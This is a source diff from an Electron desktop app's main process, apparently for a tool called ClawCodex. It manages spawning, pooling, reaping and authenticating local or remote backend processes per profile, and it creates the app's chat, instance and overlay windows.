+
+  if (!soft) {
+    resetBootProgressForReconnect()
+  }
+}
+
+// Re-home the primary backend: reset connection state, then wait for the live
+// dashboard process to actually exit (SIGKILL after 5s) so the next
+// startClawCodex() spawns fresh instead of racing the dying one. Shared by the
+// connection-config and profile switch flows.
+async function teardownPrimaryBackendAndWait({ soft = false } = {}) {
+  // Capture the reference before resetClawCodexConnection() invalidates it.
+  const clawcodexProcess = backendConnectionState.getProcess()
+  const dying = clawcodexProcess && !clawcodexProcess.killed ? clawcodexProcess : null
+
+  if (soft) {
+    softRehomeInProgress = true
+  }
+
+  try {
+    resetClawCodexConnection({ soft })
+    await waitForBackendExit(dying)
+  } finally {
+    if (soft) {
+      softRehomeInProgress = false
+    }
+  }
+}
+
+function sendConnectionApplied() {
+  if (!mainWindow || mainWindow.isDestroyed()) {
+    return
+  }
+
+  const { webContents } = mainWindow
+
+  if (!webContents || webContents.isDestroyed()) {
+    return
+  }
+
+  webContents.send('clawcodex:connection:applied')
+}
+
+async function waitForBackendExit(child, timeoutMs = 5000) {
+  if (!child) {
+    return
+  }
+
+  if (child.exitCode !== null || child.signalCode !== null) {
+    return
+  }
+
+  await new Promise<void>(resolve => {
+    const timer = setTimeout(() => {
+      try {
+        if (IS_WINDOWS && Number.isInteger(child.pid)) {
+          forceKillProcessTree(child.pid)
+        } else {
+          child.kill('SIGKILL')
+        }
+      } catch {
+        // Already gone.
+      }
+
+      resolve()
+    }, timeoutMs)
+
+    child.once('exit', () => {
+      clearTimeout(timer)
+      resolve()
+    })
+  })
+}
+
+// The profile the primary (window) backend runs as. readActiveDesktopProfile()
+// returns the desktop's stored preference, or null when unset (legacy launch
+// that defers to active_profile / default).
+function primaryProfileKey() {
+  return readActiveDesktopProfile() || 'default'
+}
+
+// Options describing the current connection setup for `resolveProfileBackendRoute`.
+function profileRouteOptions(profile) {
+  return {
+    globalRemote: globalRemoteActive(),
+    primaryProfile: primaryProfileKey(),
+    profileRemoteOverride: Boolean(profileHasRemoteOverride(profile))
+  }
+}
+
+// Resolve a backend connection for the given profile, per the routing table in
+// resolveProfileBackendRoute(). An empty / unknown profile resolves to the
+// primary, so legacy callers are unchanged.
+async function ensureBackend(profile) {
+  const key = profile && String(profile).trim() ? String(profile).trim() : primaryProfileKey()
+  const route = resolveProfileBackendRoute(key, profileRouteOptions(key))
+
+  if (route.backend === 'primary') {
+    const connection = await startClawCodex()
+
+    // A shared backend still owes the caller its profile scope, so renderer-side
+    // WebSocket, filesystem, and cache routing target the selected profile.
+    return route.descriptorProfile ? { ...connection, profile: route.descriptorProfile } : connection
+  }
+
+  const existing = backendPool.get(key)
+
+  if (existing) {
+    existing.lastActiveAt = Date.now()
+
+    return existing.connectionPromise
+  }
+
+  evictLruPoolBackends(POOL_MAX_BACKENDS - 1)
+
+  const entry = {
+    process: null,
+    port: null,
+    token: null,
+    connectionPromise: null,
+    lastActiveAt: Date.now(),
+    remoteBaseUrl: null
+  }
+
+  entry.connectionPromise = spawnPoolBackend(key, entry).catch(error => {
+    backendPool.delete(key)
+    throw error
+  })
+  backendPool.set(key, entry)
+  startPoolIdleReaper()
+
+  return entry.connectionPromise
+}
+
+// Mark a pool profile as recently used so the idle reaper spares it. The
+// renderer calls this when it opens a profile's chat WS and periodically while
+// streaming, since the main process can't see the direct renderer↔backend WS.
+function touchPoolBackend(profile) {
+  const key = profile && String(profile).trim() ? String(profile).trim() : null
+
+  if (!key) {
+    return
+  }
+
+  const entry = backendPool.get(key)
+
+  if (entry) {
+    entry.lastActiveAt = Date.now()
+  }
+}
+
+// Evict least-recently-used pool backends until at most `keep` remain — but only
+// ever evict backends without a live renderer socket (stale beyond the keepalive
+// window). When every backend is actively kept alive we let the pool exceed the
+// soft cap rather than kill a running session.
+function evictLruPoolBackends(keep) {
+  if (backendPool.size <= keep) {
+    return
+  }
+
+  const now = Date.now()
+
+  const evictable = [...backendPool.entries()]
+    .filter(([, entry]) => now - (entry.lastActiveAt || 0) > POOL_KEEPALIVE_FRESH_MS)
+    .sort((a, b) => (a[1].lastActiveAt || 0) - (b[1].lastActiveAt || 0))
+
+  let removable = backendPool.size - Math.max(0, keep)
+
+  for (const [profile] of evictable) {
+    if (removable <= 0) {
+      break
+    }
+
+    rememberLog(`Evicting idle profile backend "${profile}" (LRU cap ${POOL_MAX_BACKENDS})`)
+    stopPoolBackend(profile)
+    removable -= 1
+  }
+}
+
+function startPoolIdleReaper() {
+  if (poolIdleReaper) {
+    return
+  }
+
+  poolIdleReaper = setInterval(() => {
+    const now = Date.now()
+
+    for (const [profile, entry] of [...backendPool.entries()]) {
+      if (now - (entry.lastActiveAt || 0) > POOL_IDLE_MS) {
+        rememberLog(`Reaping idle profile backend "${profile}" (idle > ${Math.round(POOL_IDLE_MS / 1000)}s)`)
+        stopPoolBackend(profile)
+      }
+    }
+
+    if (backendPool.size === 0 && poolIdleReaper) {
+      clearInterval(poolIdleReaper)
+      poolIdleReaper = null
+    }
+  }, 60_000)
+
+  if (typeof poolIdleReaper.unref === 'function') {
+    poolIdleReaper.unref()
+  }
+}
+
+// Spawn an additional dashboard backend pinned to a named profile. Mirrors the
+// local-spawn portion of startClawCodex() but without the boot-progress UI,
+// bootstrap, or remote handling (those belong to the primary backend only).
+async function spawnPoolBackend(profile, entry) {
+  // A profile may point at its OWN remote backend (connection.json
+  // `profiles[name]`), or inherit the app-wide remote (env / global settings).
+  // In either case there is no local child to spawn — we just verify the
+  // remote is reachable and hand back its connection descriptor. The pool
+  // entry keeps `entry.process === null`, which stopPoolBackend/evict already
+  // tolerate.
+  const remote = await resolveRemoteBackend(profile)
+
+  if (remote) {
+    await waitForClawCodex(remote.baseUrl, remote.token, undefined, remote.authMode)
+
+    // Recorded on the entry so revalidation can probe this descriptor without
+    // awaiting connectionPromise, which may still be pending for a sibling.
+    entry.remoteBaseUrl = remote.baseUrl
+
+    return {
+      ...remote,
+      profile,
+      logs: clawcodexLog.slice(-80),
+      ...getWindowState()
+    }
+  }
+
+  const token = crypto.randomBytes(32).toString('base64url')
+
+  // Same update mutual exclusion as the primary window's waitForLocalStart
+  // (#73822): pool backends spawn from the same venv, so an ungated respawn
+  // during applyUpdates' critical section re-locks the venv and trips the
+  // venv-blocker preflight. No boot-progress UI here — pool backends boot
+  // silently for background profiles — so we only log while parked.
+  {
+    let poolAnnounced = false
+
+    await waitForUpdateClearance(updateGateDeps(), {
+      onWaitTick: reason => {
+        if (!poolAnnounced) {
+          poolAnnounced = true
+          rememberLog(`[updates] update in progress (${reason}); deferring pool backend start for profile "${profile}"`)
+        }
+      },
+      pollMs: UPDATE_WAIT_POLL_MS,
+      timeoutMs: UPDATE_WAIT_TIMEOUT_MS
+    })
+  }
+
+  // --profile wins over the inherited CLAWCODEX_CONFIG_DIR env (see _apply_profile_override
+  // step 3 in clawcodex_cli/main.py), so the child re-homes to this profile.
+  // --port 0: the OS assigns an ephemeral port; the child announces it on stdout.
+  const backendArgs = ['--profile', profile, 'serve', '--host', '127.0.0.1', '--port', '0']
+  const backend = await ensureRuntime(resolveClawCodexBackend(backendArgs))
+  // Route old runtimes (no `serve`) through the legacy `dashboard --no-open`.
+  backend.args = getBackendArgsForRuntime(backend)
+  const clawcodexCwd = resolveClawCodexCwd()
+  const webDist = resolveWebDist()
+  const readyFile = backend.readyFile ? makeDashboardReadyFile() : null
+
+  rememberLog(`Starting ClawCodex backend for profile "${profile}" via ${backend.label}`)
+
+  const child = spawn(
+    backend.command,
+    backend.args,
+    hiddenWindowsChildOptions({
+      cwd: clawcodexCwd,
+      env: {
+        ...process.env,
+        CLAWCODEX_CONFIG_DIR,
+        ...backend.env,
+        // Pin the gateway's tool/terminal cwd to the same directory we chose for
+        // the child process. Inherited TERMINAL_CWD (or a stale config bridge)
+        // can still point at the install dir even when spawn cwd is home.
+        TERMINAL_CWD: clawcodexCwd,
+        CLAWCODEX_DASHBOARD_SESSION_TOKEN: token,
+        // Marks this dashboard backend as desktop-spawned so it runs the cron
+        // scheduler tick loop (the gateway isn't running under the app).
+        CLAWCODEX_DESKTOP: '1',
+        CLAWCODEX_WEB_DIST: webDist,
+        ...(readyFile ? { CLAWCODEX_DESKTOP_READY_FILE: readyFile } : {})
+      },
+      shell: backend.shell,
+      stdio: ['ignore', 'pipe', 'pipe']
+    })
+  )
+
+  entry.process = child
+  entry.token = token
+
+  child.stdout.on('data', rememberLog)
+  child.stderr.on('data', rememberLog)
+
+  let ready = false
+  let rejectStart = null
+
+  const startFailed = new Promise((_resolve, reject) => {
+    rejectStart = reject
+  })
+
+  child.once('error', error => {
+    rememberLog(`ClawCodex backend for profile "${profile}" failed to start: ${error.message}`)
+    backendPool.delete(profile)
+    rejectStart?.(error)
+  })
+  child.once('exit', (code, signal) => {
+    rememberLog(`ClawCodex backend for profile "${profile}" exited (${signal || code})`)
+    backendPool.delete(profile)
+
+    if (!ready) {
+      rejectStart?.(
+        new Error(`ClawCodex backend for profile "${profile}" exited before it became ready (${signal || code}).`)
+      )
+    }
+  })
+
+  // Discover the ephemeral port the child bound to
+  const port = await Promise.race([waitForDashboardPortAnnouncement(child, { readyFile }), startFailed])
+
+  if (readyFile) {
+    fs.unlink(readyFile, () => {})
+  }
+
+  entry.port = port
+
+  const baseUrl = `http://127.0.0.1:${port}`
+  await Promise.race([waitForClawCodex(baseUrl, token), startFailed])
+  ready = true
+
+  const authToken = await adoptServedDashboardToken(baseUrl, token, {
+    childAlive: () => child.exitCode === null && !child.killed,
+    label: `ClawCodex backend for profile "${profile}"`,
+    rememberLog
+  })
+
+  entry.token = authToken
+
+  // Verify the WebSocket session token before declaring backend ready.
+  // HTTP /api/status can pass while WS auth fails (separate transport, separate guards).
+  const wsUrl = `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(authToken)}`
+  const wsProbe = await probeGatewayWebSocket(wsUrl, { WebSocketImpl: globalThis.WebSocket })
+
+  if (!wsProbe.ok) {
+    throw new Error(
+      `ClawCodex backend for profile "${profile}" is HTTP-reachable but the WebSocket (/api/ws) rejected the session token: ${wsProbe.reason}`
+    )
+  }
+
+  return {
+    baseUrl,
+    mode: 'local',
+    source: 'local',
+    authMode: 'token',
+    token: authToken,
+    profile,
+    wsUrl,
+    logs: clawcodexLog.slice(-80),
+    ...getWindowState()
+  }
+}
+
+function stopPoolBackend(profile) {
+  const entry = backendPool.get(profile)
+
+  if (!entry) {
+    return
+  }
+
+  backendPool.delete(profile)
+  stopBackendChild(entry.process)
+}
+
+async function teardownPoolBackendAndWait(profile) {
+  const entry = backendPool.get(profile)
+
+  if (!entry) {
+    return
+  }
+
+  backendPool.delete(profile)
+
+  stopBackendChild(entry.process)
+
+  await waitForBackendExit(entry.process)
+}
+
+function stopAllPoolBackends() {
+  for (const profile of [...backendPool.keys()]) {
+    stopPoolBackend(profile)
+  }
+}
+
+// Returns the profile name whose backend was torn down, or null when the
+// request is not a profile-delete.  The caller uses this to skip ensureBackend
+// for the just-torn-down profile — otherwise ensureBackend respawns a pool
+// backend whose ensure_clawcodex_home() recreates the deleted profile directory.
+//
+// The routing *decision* (which branch fires, what profile name gets
+// returned) lives in the pure decideProfileDeleteAction() in
+// profile-delete-routing.ts; this function only performs the side effects
+// that decision calls for.
+async function prepareProfileDeleteRequest(request) {
+  const profile = profileNameFromDeleteRequest(request)
+
+  const decision = decideProfileDeleteAction(profile, {
+    isDefaultProfile: p => p === 'default',
+    isValidProfileName: p => PROFILE_NAME_RE.test(p),
+    primaryProfileKey
+  })
+
+  if (decision.action === 'noop') {
+    return null
+  }
+
+  if (decision.action === 'teardown-primary') {
+    writeActiveDesktopProfile('default')
+    await teardownPrimaryBackendAndWait()
+
+    return decision.profile
+  }
+
+  await teardownPoolBackendAndWait(decision.profile)
+
+  return decision.profile
+}
+
+async function startClawCodex() {
+  // Latched-failure short-circuit: once bootstrap has failed in this
+  // process, every subsequent startClawCodex() call re-throws the same error
+  // without re-running install.ps1. This prevents the renderer's
+  // ensureGatewayOpen retries (and any other getConnection callers) from
+  // restarting a 5-10 minute install loop while the user is still reading
+  // the failure overlay.
+  if (bootstrapFailure) {
+    throw bootstrapFailure
+  }
+
+  if (backendStartFailure) {
+    throw backendStartFailure
+  }
+
+  // A confirmed remote reauth rejection is terminal until the user signs in.
+  // Short-circuiting here keeps the boot-failure overlay latched and its
+  // "Sign in" button clickable, instead of re-driving boot on every retry.
+  if (remoteReauthFailure) {
+    throw remoteReauthFailure
+  }
+
+  // E2E: simulate a boot failure without breaking the real backend. The boot
+  // progresses a few steps, then fails with the given error message.
+  if (BOOT_FAKE_ERROR) {
+    await advanceBootProgress('backend.resolve', 'Resolving ClawCodex backend', 8)
+    const error = new Error(BOOT_FAKE_ERROR) as any
+    error.isBootstrapFailure = true
+    bootstrapFailure = error
+    throw error
+  }
+
+  const existingConnectionPromise = backendConnectionState.getPromise()
+
+  if (existingConnectionPromise) {
+    return existingConnectionPromise
+  }
+
+  const connectionAttempt = backendConnectionState.startAttempt()
+
+  // Classify this boot BEFORE the throwing resolve/mint runs: a remote failure
+  // must NOT latch (it's transient — see shouldLatchBackendStartFailure), while
+  // a local failure latches to break install-restart loops.
+  let attemptedRemote = primaryBackendIsRemote()
+
+  const connectionPromise = (async () => {
+    const connectRemote = async remote => {
+      await advanceBootProgress('backend.remote', `Connecting to remote ClawCodex backend at ${remote.baseUrl}`, 24)
+      await waitForClawCodex(remote.baseUrl, remote.token, undefined, remote.authMode)
+      updateBootProgress({
+        phase: 'backend.ready',
+        message: 'Remote ClawCodex backend is ready',
+        progress: 94,
+        running: true,
+        error: null
+      })
+
+      return {
+        baseUrl: remote.baseUrl,
+        mode: 'remote',
+        source: remote.source,
+        authMode: remote.authMode || 'token',
+        remoteHost: remote.remoteHost,
+        remoteKind: remote.remoteKind,
+        remoteClawCodexVersion: remote.remoteClawCodexVersion,
+        token: remote.token,
+        wsUrl: remote.wsUrl,
+        logs: clawcodexLog.slice(-80),
+        ...getWindowState()
+      }
+    }
+
+    await advanceBootProgress('backend.resolve', 'Resolving ClawCodex backend', 8)
+    // Resolve for the desktop's primary profile so a per-profile remote
+    // override on the active profile is honored (falls back to env / global).
+    const token = crypto.randomBytes(32).toString('base64url')
+    // --port 0: the OS assigns an ephemeral port; the child announces it on stdout.
+    const backendArgs = ['serve', '--host', '127.0.0.1', '--port', '0']
+    // Pin the desktop's chosen profile via the global --profile flag. This is
+    // deterministic (it wins over the sticky ~/.clawcodex/active_profile file) and
+    // resolves CLAWCODEX_CONFIG_DIR the same way `clawcodex -p <name>` does on the CLI. An
+    // unset preference keeps the legacy launch so existing installs are
+    // unaffected.
+    const activeProfile = readActiveDesktopProfile()
+
+    if (activeProfile) {
+      backendArgs.unshift('--profile', activeProfile)
+    }
+
+    const setup = await runPrimaryBackendStartup({
+      connectRemote,
+      ensureLocalRuntime: ensureRuntime,
+      prepareLocalBackend: async () => {
+        await advanceBootProgress('backend.runtime', 'Resolving ClawCodex runtime', 28)
+
+        return resolveClawCodexBackend(backendArgs)
+      },
+      resolveRemote: () => {
+        // Classify immediately before each throwing resolve. This callback runs
+        // both for an already-saved remote and after first-run remote Apply.
+        attemptedRemote = primaryBackendIsRemote()
+
+        return resolveRemoteBackend(primaryProfileKey())
+      },
+      waitForDecision: waitForFirstRunSetupChoice,
+      // Mutual exclusion with an in-app update (#50238). Remote connections
+      // return before this waiter; local starts park until the updater exits.
+      waitForLocalStart: waitForUpdateToFinish
+    })
+
+    if (setup.kind === 'remote') {
+      return setup.connection
+    }
+
+    const backend = setup.backend
+    // Route old runtimes (no `serve`) through the legacy `dashboard --no-open`.
+    backend.args = getBackendArgsForRuntime(backend)
+    const clawcodexCwd = resolveClawCodexCwd()
+    const webDist = resolveWebDist()
+    const readyFile = backend.readyFile ? makeDashboardReadyFile() : null
+
+    await advanceBootProgress('backend.spawn', `Starting ClawCodex backend via ${backend.label}`, 84)
+    rememberLog(`Starting ClawCodex backend via ${backend.label}`)
+
+    const clawcodexProcess = spawn(
+      backend.command,
+      backend.args,
+      hiddenWindowsChildOptions({
+        cwd: clawcodexCwd,
+        env: {
+          ...process.env,
+          // Explicitly pin CLAWCODEX_CONFIG_DIR for the child so Python's get_clawcodex_home()
+          // resolves to the SAME location our resolveClawCodexHome() picked. Without
+          // this pin, Python falls back to ~/.clawcodex on every platform — fine on
+          // mac/linux (where our default matches), but on Windows our default is
+          // %LOCALAPPDATA%\clawcodex, which differs from C:\Users\<u>\.clawcodex.
+          // Mismatch would split config / sessions / .env / logs across two
+          // directories. install.ps1 sets CLAWCODEX_CONFIG_DIR via setx; the desktop
+          // can't reliably do that, so we set it inline for every spawn.
+          CLAWCODEX_CONFIG_DIR,
+          ...backend.env,
+          TERMINAL_CWD: clawcodexCwd,
+          CLAWCODEX_DASHBOARD_SESSION_TOKEN: token,
+          // Marks this dashboard backend as desktop-spawned so it runs the cron
+          // scheduler tick loop (the gateway isn't running under the app).
+          CLAWCODEX_DESKTOP: '1',
+          CLAWCODEX_WEB_DIST: webDist,
+          ...(readyFile ? { CLAWCODEX_DESKTOP_READY_FILE: readyFile } : {})
+        },
+        shell: backend.shell,
+        stdio: ['ignore', 'pipe', 'pipe']
+      })
+    )
+
+    const processOwner = backendConnectionState.attachProcess(connectionAttempt, clawcodexProcess)
+
+    if (!processOwner) {
+      stopBackendChild(clawcodexProcess)
+      throw new Error('ClawCodex backend start was superseded by a newer connection attempt.')
+    }
+
+    clawcodexProcess.stdout.on('data', rememberLog)
+    clawcodexProcess.stderr.on('data', rememberLog)
+    let backendReady = false
+    let rejectBackendStart = null
+
+    const backendStartFailed = new Promise((_resolve, reject) => {
+      rejectBackendStart = reject
+    })
+
+    clawcodexProcess.once('error', error => {
+      if (!backendConnectionState.clearForCurrentProcess(processOwner)) {
+        rememberLog(`Ignoring stale ClawCodex backend error: ${error.message}`)
+        rejectBackendStart?.(new Error('ClawCodex backend start was superseded by a newer connection attempt.'))
+
+        return
+      }
+
+      rememberLog(`ClawCodex backend failed to start: ${error.message}`)
+      updateBootProgress(
+        {
+          error: error.message,
+          message: `ClawCodex backend failed to start: ${error.message}`,
+          phase: 'backend.error',
+          running: false
+        },
+        { allowDecrease: true }
+      )
+      sendBackendExit({ code: null, signal: null, error: error.message })
+      rejectBackendStart?.(error)
+    })
+    clawcodexProcess.once('exit', (code, signal) => {
+      if (!backendConnectionState.clearForCurrentProcess(processOwner)) {
+        rememberLog(`Ignoring stale ClawCodex backend exit (${signal || code})`)
+
+        if (!backendReady) {
+          rejectBackendStart?.(new Error('ClawCodex backend start was superseded by a newer connection attempt.'))
+        }
+
+        return
+      }
+
+      rememberLog(`ClawCodex backend exited (${signal || code})`)
+      sendBackendExit({ code, signal })
+
+      if (!backendReady) {
+        const message = `ClawCodex backend exited before it became ready (${signal || code}).`
+        updateBootProgress(
+          {
+            error: message,
+            message,
+            phase: 'backend.error',
+            running: false
+          },
+          { allowDecrease: true }
+        )
+        rejectBackendStart?.(
+          new Error(
+            `ClawCodex backend exited before it became ready (${signal || code}). Log: ${DESKTOP_LOG_PATH}\n${recentClawCodexLog()}`
+          )
+        )
+      }
+    })
+
+    await advanceBootProgress('backend.port', 'Waiting for ClawCodex backend to launch', 86)
+
+    // Discover the ephemeral port the child bound to
+    const port = await Promise.race([
+      waitForDashboardPortAnnouncement(clawcodexProcess, { readyFile }),
+      backendStartFailed
+    ])
+
+    if (readyFile) {
+      fs.unlink(readyFile, () => {})
+    }
+
+    const baseUrl = `http://127.0.0.1:${port}`
+    await advanceBootProgress('backend.wait', 'Waiting for ClawCodex backend to become ready', 90)
+    await Promise.race([waitForClawCodex(baseUrl, token), backendStartFailed])
+    backendReady = true
+    backendStartFailure = null
+
+    const authToken = await adoptServedDashboardToken(baseUrl, token, {
+      childAlive: () => clawcodexProcess.exitCode === null && !clawcodexProcess.killed,
+      rememberLog
+    })
+
+    // Verify the WebSocket session token before declaring backend ready.
+    const wsUrl = `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(authToken)}`
+    const wsProbe = await probeGatewayWebSocket(wsUrl, { WebSocketImpl: globalThis.WebSocket })
+
+    if (!wsProbe.ok) {
+      throw new Error(
+        `Local ClawCodex backend is HTTP-reachable but the WebSocket (/api/ws) rejected the session token: ${wsProbe.reason}`
+      )
+    }
+
+    updateBootProgress({
+      phase: 'backend.ready',
+      message: 'ClawCodex backend is ready. Finalizing desktop startup',
+      progress: 94,
+      running: true,
+      error: null
+    })
+
+    // A successful boot (including a soft restart that the repair-guard
+    // chose over a hard reinstall, see #74874) means any in-flight repair
+    // attempt counter has been honoured — reset it so the next genuine
+    // failure starts fresh from attempt 1 instead of inheriting the
+    // accumulated count of the resolved episode.
+    bootstrapRepairAttempt = 0
+
+    return {
+      baseUrl,
+      mode: 'local',
+      source: 'local',
+      authMode: 'token',
+      token: authToken,
+      wsUrl,
+      logs: clawcodexLog.slice(-80),
+      ...getWindowState()
+    }
+  })().catch(error => {
+    if (!backendConnectionState.clearPromiseForAttempt(connectionAttempt)) {
+      throw error
+    }
+
+    if (error instanceof FirstRunSetupResetError) {
+      throw error
+    }
+
+    const message = error instanceof Error ? error.message : String(error)
+
+    // Only latch LOCAL boot failures. A remote failure (lapsed session / mint
+    // timeout / host briefly unreachable across sleep) is transient and has no
+    // child 'exit' handler to clear the cache — latching it would wedge the app
+    // on "session expired" until a full restart, defeating reconnect, the
+    // "Sign out & sign in" reload, and the wake-recovery revalidate path.
+    if (shouldLatchBackendStartFailure({ attemptedRemote })) {
+      backendStartFailure = error instanceof Error ? error : new Error(message)
+    }
+
+    // A confirmed reauth rejection latches separately: it can't self-heal, and
+    // leaving it unlatched hides the overlay's "Sign in" button on every retry.
+    if (shouldLatchRemoteReauthFailure({ attemptedRemote, isReauth: isReauthRequiredError(error) })) {
+      remoteReauthFailure = error instanceof Error ? error : new Error(message)
+    }
+
+    updateBootProgress(
+      {
+        error: message,
+        message: `Desktop boot failed: ${message}`,
+        phase: 'backend.error',
+        running: false
+      },
+      { allowDecrease: true }
+    )
+    throw error
+  })
+
+  backendConnectionState.setPromise(connectionAttempt, connectionPromise)
+
+  return connectionPromise
+}
+
+// Shared navigation guards + window chrome wiring applied to every window
+// (the primary plus any secondary session windows). Factored out of
+// createWindow() so secondary windows can't drift from the main window's
+// security posture: external links open in the OS browser, in-app navigation
+// stays confined to the dev server / packaged file URL, and the preview /
+// devtools / zoom / context-menu affordances behave identically everywhere.
+//
+// `zoom` is opt-out for the pet overlay: it sizes its own OS window to fit the
+// sprite in unzoomed CSS px (overlayWindowSize -> setBounds) and has its own
+// Alt+wheel scale, so inheriting the global UI zoom would render the mascot
+// larger than its window and crop it. Chat windows keep zoom on.
+function wireCommonWindowHandlers(win, { zoom = true }: { zoom?: boolean } = {}) {
+  installPreviewShortcut(win)
+  installDevToolsShortcut(win)
+
+  if (zoom) {
+    installZoomShortcuts(win)
+    // Re-apply persisted zoom on show/restore/resize/cross-display move
+    // (Chromium can drop webContents zoom after these window transitions) and
+    // on EVERY full load — not once. The crash-recovery path calls
+    // webContents.reload(), which fires did-finish-load again after a `once`
+    // listener is spent, so zoom was silently lost on renderer crash
+    // recovery and any in-place reload/navigation (#46429).
+    installZoomReassertOnWindowEvents(win, () => restorePersistedZoomLevel(win))
+    win.webContents.on('did-finish-load', () => restorePersistedZoomLevel(win))
+  }
+
+  installContextMenu(win)
+  win.webContents.setWindowOpenHandler(details => {
+    openExternalUrl(details.url)
+
+    return { action: 'deny' }
+  })
+  win.webContents.on('will-navigate', (event, url) => {
+    if ((DEV_SERVER && url.startsWith(DEV_SERVER)) || (!DEV_SERVER && url.startsWith('file:'))) {
+      return
+    }
+
+    event.preventDefault()
+    openExternalUrl(url)
+  })
+}
+
+// Secondary "session windows" — one extra OS window per chat so a user can
+// work with multiple chats side by side. The registry guarantees one window
+// per sessionId (re-opening focuses the existing window) and self-cleans on
+// close. The primary mainWindow is never tracked here. Pure logic + the URL
+// builder live in session-windows.ts so they stay unit-testable.
+const sessionWindows = createSessionWindowRegistry()
+
+function focusWindow(win) {
+  if (!win || win.isDestroyed()) {
+    return
+  }
+
+  if (win.isMinimized()) {
+    win.restore()
+  }
+
+  if (!win.isVisible()) {
+    win.show()
+  }
+
+  win.focus()
+}
+
+function spawnSecondaryWindow({ sessionId, watch }: { sessionId?: string; watch?: boolean } = {}) {
+  const icon = getAppIconPath()
+
+  const win = new BrowserWindow({
+    width: SESSION_WINDOW_MIN_WIDTH,
+    height: SESSION_WINDOW_MIN_HEIGHT,
+    minWidth: SESSION_WINDOW_MIN_WIDTH,
+    minHeight: SESSION_WINDOW_MIN_HEIGHT,
+    title: 'ClawCodex',
+    titleBarStyle: 'hidden',
+    titleBarOverlay: getTitleBarOverlayOptions(),
+    trafficLightPosition: IS_MAC ? WINDOW_BUTTON_POSITION : undefined,
+    vibrancy: IS_MAC ? 'sidebar' : undefined,
+    opacity: windowOpacity(),
+    icon,
+    // Don't show until the renderer's first themed paint is ready. macOS
+    // `vibrancy` ignores `backgroundColor` and paints a translucent OS
+    // material (which follows the OS appearance, not the app theme), so a
+    // dark-themed app on a light-mode Mac flashes white until the renderer
+    // covers it. ready-to-show fires after the boot-time paint in
+    // themes/context.tsx, so the window appears already themed.
+    show: false,
+    backgroundColor: getWindowBackgroundColor(),
+    webPreferences: chatWindowWebPreferences(PRELOAD_PATH)
+  })
+
+  if (IS_MAC) {
+    win.setWindowButtonPosition?.(WINDOW_BUTTON_POSITION)
+  }
+
+  win.once('ready-to-show', () => {
+    if (!win.isDestroyed()) {
+      win.show()
+    }
+  })
+
+  win.on('enter-full-screen', () => sendWindowStateChanged(true))
+  win.on('leave-full-screen', () => sendWindowStateChanged(false))
+
+  streamThrottle.register(win)
+  wireCommonWindowHandlers(win, zoomWiringForWindowKind('chat'))
+
+  loadWindowUrl(
+    win,
+    buildSessionWindowUrl(sessionId, {
+      devServer: DEV_SERVER,
+      rendererIndexPath: DEV_SERVER ? undefined : resolveRendererIndex(),
+      watch
+    }),
+    'Session window'
+  )
+
+  return win
+}
+
+// Open (or focus) a standalone window for a single chat session.
+function createSessionWindow(sessionId, { watch = false } = {}) {
+  return sessionWindows.openOrFocus(sessionId, () => spawnSecondaryWindow({ sessionId, watch }))
+}
+
+// Additional full "instance" windows — peers of the primary that render the
+// COMPLETE app (sidebar, routing, its own draft) against the shared backend, so
+// a user can run multiple GUI windows at once (⌘⇧N / the "New Window" palette
+// command). Unlike the compact session windows they carry no `?win` flag. The
+// primary mainWindow stays the notification / deep-link / pet-overlay anchor and
+// is NOT tracked here. The set holds a strong reference so an open peer isn't
+// garbage-collected, and drops it on close.
+const instanceWindows = new Set<any>()
+
+// Cascade a new instance off whichever window spawned it so it doesn't land
+// exactly on top of its source. Falls back to the persisted primary geometry
+// when there's no live source window (e.g. all windows closed on macOS). The
+// pure cascade math lives in session-windows.ts (instanceWindowBounds).
+function nextInstanceBounds() {
+  const source = BrowserWindow.getFocusedWindow() || mainWindow
+  const fallback = computeWindowOptions(readWindowState(), screen.getAllDisplays())
+  const base = source && !source.isDestroyed() ? source.getBounds() : null
+
+  return instanceWindowBounds(base, fallback)
+}
+
+// Open a new full-chrome instance window. Mirrors createWindow()'s window
+// options (shared chatWindowWebPreferences + streamThrottle registration so a
+// streamed answer never stalls in the background) but is a peer, not the
+// primary: it never overwrites the mainWindow global, doesn't start the backend
+// (the renderer's getConnection() joins the already-running one), and loads the
+// plain renderer URL so the full app renders.
+function createInstanceWindow() {
+  const icon = getAppIconPath()
+
+  const win = new BrowserWindow({
+    ...nextInstanceBounds(),
+    minWidth: WINDOW_MIN_WIDTH,
+    minHeight: WINDOW_MIN_HEIGHT,
+    title: 'ClawCodex',
+    titleBarStyle: 'hidden',
+    titleBarOverlay: getTitleBarOverlayOptions(),
+    trafficLightPosition: IS_MAC ? WINDOW_BUTTON_POSITION : undefined,
+    vibrancy: IS_MAC ? 'sidebar' : undefined,
+    opacity: windowOpacity(),
+    icon,
+    show: false,
+    backgroundColor: getWindowBackgroundColor(),
+    webPreferences: chatWindowWebPreferences(PRELOAD_PATH)
+  })
+
+  instanceWindows.add(win)
+
+  if (IS_MAC) {
+    win.setWindowButtonPosition?.(WINDOW_BUTTON_POSITION)
+  }
+
+  win.once('ready-to-show', () => {
+    if (!win.isDestroyed()) {
+      win.show()
+    }
+  })
+
+  // Per-window fullscreen chrome: send this window its own titlebar inset so its
+  // traffic lights hide/show independently of the primary.
+  win.on('enter-full-screen', () => sendWindowStateChanged(true, win))
+  win.on('leave-full-screen', () => sendWindowStateChanged(false, win))
+
+  streamThrottle.register(win)
+  wireCommonWindowHandlers(win, zoomWiringForWindowKind('chat'))
+
+  win.on('closed', () => {
+    instanceWindows.delete(win)
+  })
+
+  loadWindowUrl(win, DEV_SERVER || pathToFileURL(resolveRendererIndex()).toString(), 'Instance window')
+
+  return win
+}
+
+// A macOS-only ambient wake cue. It is deliberately a gateway-less helper
+// window: the active renderer owns voice state and sends only the visual phase.
+const wakeIndicatorController = createWakeIndicatorWindowController({
+  devServer: DEV_SERVER,
+  isMac: IS_MAC,
+  loadWindowUrl,
+  preloadPath: PRELOAD_PATH,
+  rendererIndex: resolveRendererIndex,
+  wireWindow: window => wireCommonWindowHandlers(window, zoomWiringForWindowKind('wakeIndicator'))
+})
+
+// The pet overlay: a single transparent, frameless, always-on-top window that
+// hosts ONLY the floating mascot. Shift-clicking the in-window pet "pops it out"
+// here so it can leave the app's bounds and stay visible while ClawCodex is
+// minimized (Codex-style task-completion glance). It carries no gateway
+// connection of its own — the main renderer is the single source of truth and
+// pushes pet state over IPC (clawcodex:pet-overlay:state); the overlay just renders
+// it. Control flows back (pop-in, composer submit) via clawcodex:pet-overlay:control.
